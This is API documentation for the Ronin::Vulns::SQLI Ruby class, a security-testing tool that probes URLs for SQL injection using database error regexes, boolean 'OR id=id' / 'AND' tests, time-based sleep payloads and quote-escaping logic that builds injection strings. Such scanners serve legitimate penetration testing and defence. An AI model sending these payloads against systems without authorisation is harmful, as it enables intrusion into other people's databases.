Class: Ronin::Vulns::SQLI

Inherits:
WebVuln show all
Defined in:
lib/ronin/vulns/sqli.rb,
lib/ronin/vulns/sqli/error_pattern.rb

Overview

Represents a SQL injection vulnerability.

Features

  • Supports testing OR 1=1 and AND 1=0.
  • Supports testing SQL sleep functions.

Defined Under Namespace

Classes: ErrorPattern

Constant Summary collapse

ERROR_PATTERNS =

SQL error message patterns for various databases.

{
  postgresql: ErrorPattern[
    /PostgreSQL.*ERROR/,
    /Warning.*\Wpg_/,
    /valid PostgreSQL result/,
    /Npgsql\./,
    /PG::SyntaxError:/,
    /org\.postgresql\.util\.PSQLException/,
    /ERROR:\s\ssyntax error at or near/,
    /ERROR: parser: parse error at or near/,
    /PostgreSQL query failed/,
    /org\.postgresql\.jdbc/,
    %r{Pdo[\./_\\]Pgsql},
    /PSQLException/
  ],

  mysql: ErrorPattern[
    /SQL syntax.*MySQL/,
    /Warning.*\Wmysqli?_/,
    /MySQLSyntaxErrorException/,
    /valid MySQL result/,
    /check the manual that corresponds to your (MySQL|MariaDB) server version/,
    /Unknown column '[^ ]+' in 'field list'/,
    /MySqlClient\./,
    /com\.mysql\.jdbc/,
    /Zend_Db_(?:Adapter|Statement)_Mysqli_Exception/,
    %r{Pdo[\./_\\]Mysql},
    /MySqlException/
  ],

  sqlite: ErrorPattern[
    %r{SQLite/JDBCDriver},
    /SQLite\.Exception/,
    /(Microsoft|System)\.Data\.SQLite\.SQLiteException/,
    /Warning.*\W(?:sqlite_|SQLite3::)/,
    /\[SQLITE_ERROR\]/,
    /SQLite error \d+:/,
    /sqlite3\.OperationalError:/,
    /SQLite3::SQLException/,
    /org\.sqlite\.JDBC/,
    %r{Pdo[\./_\\]Sqlite},
    /SQLiteException/
  ],

  mssql: ErrorPattern[
    /Driver.* SQL[\-\_\ ]*Server/,
    /OLE DB.* SQL Server/,
    /\bSQL Server[^<"]+Driver/,
    /Warning.*\W(?:mssql|sqlsrv)_/,
    /\bSQL Server[^<"]+[0-9a-fA-F]{8}/,
    /System\.Data\.SqlClient\.SqlException/,
    /Exception.*\bRoadhouse\.Cms\./m,
    /Microsoft SQL Native Client error '[0-9a-fA-F]{8}/,
    /\[SQL Server\]/,
    /ODBC SQL Server Driver/,
    /ODBC Driver \d+ for SQL Server/,
    /SQLServer JDBC Driver/,
    /com\.jnetdirect\.jsql/,
    /macromedia\.jdbc\.sqlserver/,
    /Zend_Db_(?:Adapter|Statement)_Sqlsrv_Exception/,
    /com\.microsoft\.sqlserver\.jdbc/,
    %r{Pdo[\./_\\](?:Mssql|SqlSrv)},
    /SQL(?:Srv|Server)Exception/
  ],

  oracle: ErrorPattern[
    /\bORA-\d{5}/,
    /Oracle error/,
    /Oracle.*Driver/,
    /Warning.*\W(?:oci|ora)_/,
    /quoted string not properly terminated/,
    /SQL command not properly ended/,
    /macromedia\.jdbc\.oracle/,
    /oracle\.jdbc/,
    /Zend_Db_(?:Adapter|Statement)_Oracle_Exception/,
    %r{Pdo[\./_\\](?:Oracle|OCI)},
    /OracleException/
  ]
}
SLEEP_TESTS =

This constant is part of a private API. You should avoid using this constant if possible, as it may be removed or be changed in the future.

Various SQL sleep functions or statements.

[
  'SLEEP(5)',
  "PG_SLEEP(5)",
  "WAITFOR DELAY '0:0:5'"
]

Instance Attribute Summary collapse

Attributes inherited from WebVuln

#cookie, #cookie_param, #form_data, #form_param, #header_name, #headers, #http, #password, #query_param, #query_params, #referer, #request_method, #url, #user

Class Method Summary collapse

Instance Method Summary collapse

Methods inherited from WebVuln

#exploit, #exploit_cookie, #exploit_form_data, #exploit_headers, #exploit_query_params, #original_value, #random_value, #request, scan_cookie_params, scan_form_params, scan_headers, scan_query_params, test, #to_curl, #to_http, #to_s

Constructor Details

#initialize(url, escape_quote: false, escape_parens: false, terminate: false, **kwargs) ⇒ SQLI

Initializes the SQL injection vulnerability.

Parameters:

  • url (URI::HTTP, String)

    The URL to test or exploit.

  • escape_quote (Boolean) (defaults to: false)

    Specifies whether to escape a quoted string value.

  • escape_parens (Boolean) (defaults to: false)

    Specifies whether to escape parenthesis.

  • terminate (Boolean) (defaults to: false)

    Specifies whether to terminate the SQL statement with --.



68
69
70
71
72
73
74
75
76
77
78
79
# File 'lib/ronin/vulns/sqli.rb', line 68

def initialize(url, escape_quote:    false,
                    escape_parens:   false,
                    terminate:       false,
                    **kwargs)
  super(url,**kwargs)

  @escape_quote  = escape_quote
  @escape_parens = escape_parens
  @terminate     = terminate

  @escape_string = build_escape_string
end

Instance Attribute Details

#escape_parensBoolean (readonly)

Specifies whether to escape parenthesis.

Returns:

  • (Boolean)


46
47
48
# File 'lib/ronin/vulns/sqli.rb', line 46

def escape_parens
  @escape_parens
end

#escape_quoteBoolean (readonly)

Specifies whether to escape a quoted string value.

Returns:

  • (Boolean)


41
42
43
# File 'lib/ronin/vulns/sqli.rb', line 41

def escape_quote
  @escape_quote
end

#terminateBoolean (readonly)

Specifies whether to terminate the SQL statement with --.

Returns:

  • (Boolean)


51
52
53
# File 'lib/ronin/vulns/sqli.rb', line 51

def terminate
  @terminate
end

Class Method Details

.scan(url, escape_quote: [false, true], escape_parens: [false, true], terminate: [false, true], http: nil, **kwargs) {|sqli| ... } ⇒ Array<SQLI>

Scans the URL for SQL injections.

Parameters:

  • url (URI::HTTP, String)

    The URL to test or exploit.

  • escape_quote (Array<Boolean>, Boolean) (defaults to: [false, true])

    Controls whether to escape a quoted string value. If not specified, with and without quoted string escaping will be tested.

  • escape_parens (Array<Boolean>, Boolean) (defaults to: [false, true])

    Controls whether to escape parenthesis. If not specified, with and without parenthesis escaping will be tested.

  • terminate (Array<Boolean>, Boolean) (defaults to: [false, true])

    Controls whether to terminate the SQL statement with --. If not specified, with and without -- terminate will be tested.

  • http (Ronin::Support::Network::HTTP, nil) (defaults to: nil)

    An HTTP session to use for testing the URL.

  • kwargs (Hash{Symbol => Object})

    Additional keyword arguments for WebVuln.scan.

Yields:

  • (sqli)

    If a block is given it will be yielded each discovered SQL injection vulnerability.

Yield Parameters:

  • sqli (SQLI)

    A discovered SQL injection vulnerability in the URL.

Returns:

  • (Array<SQLI>)

    All discovered SQL injection vulnerabilities.



136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
# File 'lib/ronin/vulns/sqli.rb', line 136

def self.scan(url, escape_quote:  [false, true],
                   escape_parens: [false, true],
                   terminate:     [false, true],
                   # WebVuln.scan keyword arguments
                   http: nil, **kwargs, &block)
  url    = URI(url)
  http ||= Support::Network::HTTP.connect_uri(url)

  vulns = []

  Array(escape_quote).each do |escape_quote_value|
    Array(escape_parens).each do |escape_parens_value|
      Array(terminate).each do |terminate_value|
        vulns.concat(super(url, escape_quote:    escape_quote_value,
                                escape_parens:   escape_parens_value,
                                terminate:       terminate_value,
                                http:            http,
                                **kwargs,
                                &block))
      end
    end
  end

  return vulns
end

.vuln_typeSymbol

This method is part of a private API. You should avoid using this method if possible, as it may be removed or be changed in the future.

This method is abstract.
Note:

This is used internally to map an vulnerability class to a printable type.

Returns the type or kind of vulnerability.

Returns:

  • (Symbol)


403
404
405
# File 'lib/ronin/vulns/sqli.rb', line 403

def self.vuln_type
  :sqli
end

Instance Method Details

#check_for_sql_errors(response) ⇒ Boolean

Checks if the response contains a SQL error message.

Parameters:

  • response (Net::HTTPResponse)

    The HTTP response object to check.

Returns:

  • (Boolean)

    Indicates whether the response was a 500 and if the response body contained a SQL error message.



297
298
299
300
301
302
303
304
305
306
307
# File 'lib/ronin/vulns/sqli.rb', line 297

def check_for_sql_errors(response)
  if response.code == '500'
    ERROR_PATTERNS.each_value do |error_pattern|
      if error_pattern =~ response.body
        return true
      end
    end
  end

  return false
end

#encode_payload(sql) ⇒ Object

Encodes the SQL payload.

See Also:



193
194
195
# File 'lib/ronin/vulns/sqli.rb', line 193

def encode_payload(sql)
  escape(sql)
end

#escape(sql) ⇒ String

Escapes the given SQL and turns it into a SQL injection.

Parameters:

  • sql (#to_s)

    The SQL expression to escape.

Returns:

  • (String)

    The escaped SQL expression.



171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
# File 'lib/ronin/vulns/sqli.rb', line 171

def escape(sql)
  sqli = if sql.start_with?(';')
           "#{@escape_string}#{sql}"
         else
           "#{@escape_string} #{sql}"
         end

  if @terminate
    sqli << '--'
  else
    sqli.chop! if (@escape_parens && sqli.end_with?(')'))
    sqli.chop! if (@escape_quote  && sqli.end_with?("'"))
  end

  return sqli
end

#random_idInteger

This method is part of a private API. You should avoid using this method if possible, as it may be removed or be changed in the future.

Returns a random ID.

Returns:

  • (Integer)

    A four digit ID.



317
318
319
# File 'lib/ronin/vulns/sqli.rb', line 317

def random_id
  rand(8_999..9999)
end

#test_or_true_and_falseBoolean

This method is part of a private API. You should avoid using this method if possible, as it may be removed or be changed in the future.

Tests whether the URL is vulnerable to SQL injection, using the OR 1=1 vs. AND 1=0 technique.

Returns:

  • (Boolean)


329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
# File 'lib/ronin/vulns/sqli.rb', line 329

def test_or_true_and_false
  id = random_id

  response1 = exploit("OR #{id}=#{id}")
  response2 = exploit("AND #{random_id}=#{random_id}")

  # check for SQL errors in both responses
  if check_for_sql_errors(response1) || check_for_sql_errors(response2)
    return true
  end

  if response1.code =~ /^20[0-6]$/ && response2.code =~ /^20[0-6]$/
    # the first response contained more results than the second response
    return response1.body.length > response2.body.length
  elsif response1.code =~ /^20[0-6]$/ && response2.code =~ /^(?:404|500)$/
    # if the second response return an error, that indicates the
    # SQL expression evaluated to false and returned no results.
    return true
  end
end

#test_sleepBoolean

This method is part of a private API. You should avoid using this method if possible, as it may be removed or be changed in the future.

Tests whether the URL is vulnerable to SQL injection, by calling SQL sleep functions to see if it takes longer for the response to be returned.

Returns:

  • (Boolean)


368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
# File 'lib/ronin/vulns/sqli.rb', line 368

def test_sleep
  SLEEP_TESTS.each do |sql|
    [sql, ";SELECT #{sql}"].each do |sqli|
      start_time = Time.now
      response   = exploit(sqli)
      stop_time  = Time.now
      delta      = (stop_time - start_time)

      # check for SQL errors first
      if check_for_sql_errors(response)
        return true
      end

      # if the response took more than 5 seconds, our SQL sleep function
      # probably worked.
      return true if delta > 5.0
    end
  end

  return false
end

#vulnerable?Boolean

Tests whether the URL is vulnerable to SQL injection.

Returns:

  • (Boolean)


202
203
204
# File 'lib/ronin/vulns/sqli.rb', line 202

def vulnerable?
  test_or_true_and_false || test_sleep
end